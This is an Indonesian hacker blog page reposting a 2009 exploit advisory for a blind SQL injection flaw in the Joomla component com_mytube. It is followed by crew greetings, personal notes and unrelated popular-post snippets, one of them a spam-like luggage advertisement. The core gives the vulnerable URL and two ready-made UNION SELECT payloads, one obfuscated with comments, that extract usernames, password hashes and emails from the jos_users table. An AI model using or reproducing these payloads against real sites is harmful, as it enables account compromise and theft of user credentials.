Joomla component com_mytube (user_id) Blind SQLi Vulnerability

[!]========================================[!]

#Joomla Component com_mytube SQLi Vulnerability (id)
#Author     : r3m1ck(r3m1ck@hackermail.com)
#Homepage: http://www.r3m1ck.uni.cc/
#Date     : 6 Desember, 2009

[!]========================================[!]

[ Software Information ]

#Application   : MyRemote Video Gallery
#version       : 1.0 Beta
#Developer     : Jomtube Team
#License       : GPL            type  : Non-Commercial
#Date Added    : Aug 24, 2009
#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip

[!]========================================[!]
[ Vulnerable File ]

http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=[U3D-Crew]&option=com_mytube&Itemid=r3m1ck

[ XpL ]

69+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat
(username,0x3a,password,0x3a,email,0x3c62723e),14,15,16,17,18,19,20,21,
22,23,24,25,26+from+jos_users--&option=com_mytube&Itemid=r3m1ck

69/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,GROUP_CONCAT
(username,0x3a,password,0x3a,email,0x3c62723e),14,15,16,17,18,19,20,21,
22,23,24,25,26/**/FROM/**/jos_users--&option=com_mytube&Itemid=r3m1ck

[!]========================================[!]
[ Thx To ]

[+] U3D Crew | INDONESIAN CODER TEAM | Indonesian Hacker |
[+] otong,elisha,god~of~cats,bl4ck_f4d3,s1mb4h and all U3D Crew
[+] tukulesto,M3NW5,kaMtiEz,n4ck0,ibl13z,bobyhikaru,gonzhack
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue-,L0l1ds,bumble_be


[ NOTE ]

[+] Napa seh forum cyber di INDO pada berantem... ayo kita bersatu.. bersatu kita teguh bercerai kita runtuh!!
[+] emak babe ade... maap r3m1ck blm bisa nyari uang sendiri T_T
[+] IchaQcayang : ayo lanjotkan usaha kita cin buat meraih cita !!! luph U

[ QUOTE ]

[+] U3D crew was here !!!!!
[+] nothing secure .. nothing is impossible

Komentar

Posting Komentar

Silahkan tinggalkan komentar anda di sini...
makasih ya uda kasih komentar...
sering - sering maen sini ya...
No SaRa, No PoLiTiCs, No SPaMMiNG!!!

Postingan populer dari blog ini

PEDOMAN DAN INSTRUMEN PENILAIAN KINERJA KEPALA SEKOLAH

PEDOMAN DAN INSTRUMEN PENILAIAN KINERJA KEPALA SEKOLAH DI LINGKUNGAN PEMERINTAH KABUPATEN KEBUMEN I. PENDAHULUAN A. DASAR 1. Undang-Undang Nomor 43 Tahun 1999 tentang Perubahan Atas Undang-Undang Nomor 8 Tahun 1974 tentang Pokok Pokok Kepegawaian ; 2. Undang-Undang Nomor 20 Tahun 2003 Tentang Sistem Pendidikan Nasional; 3. Undang-Undang Nomor 10 Tahun 2004 Tentang Pembentukan Peraturan Perundang-undangan; 4. Undang-Undang Nomor 32 Tahun 2004 Tentang Pemerintahan Daerah. 5. Keputusan Menteri Pendidikan Nasional Nomor 162/U/2003 tentang Pedoman Penugasan Guru sebagai Kepala Sekolah. 6. Rambu-rambu penilaian Kinerja Sekolah oleh Direktur Jenderal Pendidikan Dasar dan Menengah tanggal 15 Oktober 1999. 7. Rambu-rambu Penilaian Kinerja Sekolah oleh Direktur Jenderal Pendidikan Dasar dan Menengah tanggal 1 September 2000. 8. Keputusan Bupati Kebumen Nomor ..... Tahun 2006 tentang Penugasan Guru Pegawai Negeri Sipil yang diberi tugas tambahan sebagai Kepala Sekolah di Lingkungan Peme...
Baca selengkapnya

Domain ku baru,,

Sebenarnya sudah lama pengen share kabar ini tapi selalu aja disibukkan dengan kegiatan kampus dan forum makanya baru sempat share kabar ini sekarang :D ,, Jadi gini setelah kemarin hostingku di remaja host kena suspend, entah apa alasan mereka mensuspend hosting ku,, kwkwkwk.... terus r3m1ck.uni.cc ikut-ikutan ngga bisa di akses panel domainnya buat mindah name servernya,, setelah sekian lama r3m1ck ngga punya rumah akhirnya ada teman r3m1ck yang menawarkan domain dot us. akhirnya r3m1ck terima tawaran teman r3m1ck tersebut . Sekarang rumah r3m1ck sudah baru ,, r3m1ck.us ... main ya kawan-kawan ku.... maap web orang cupu jadi tampilannya jelek gitu,, thx for om bobyhikaru untuk hostingnya ^ ^ :D ,, thx for om bumble_be untuk domain dot us nya.... :D thx all to my friends...
Baca selengkapnya

My Luggage Recommendations

Gambar
Next week my father is an agenda for teaching in Gorontalo, Gorontalo is a city on Sulawesi island.  many preparations to be prepared.  such as toiletries, some clothes and do not forget the suitcase to carry all the equipment.  Initially I was confused to find the trunk where but after surfing the internet I found a luggage store site.  in the trunk was the site I can choose different types of baggage.  starting from the trunk of the Hartman luggage , a model from the Tumi luggage or luggage from Rimowa luggage  model.   Each model has a unique baggage.  Some examples of the Hartmann luggage is Wings Luggage Hartman Luggage, Hartmann Luggage Intensity, Tweed Hartmann Luggage, Hartmann Luggage Stratum, Metropolitan Hartmann Luggage, Hartmann Luggage Metropolitan, Hartmann Luggage Vera Wang Signature Collection, Collection Nautralist Hartmann Luggage. Some examples of Rimowa luggage is Rimowa Rimowa Salsa Water, Rimowa Topas Aluminum, Rimowa Sa...
Baca selengkapnya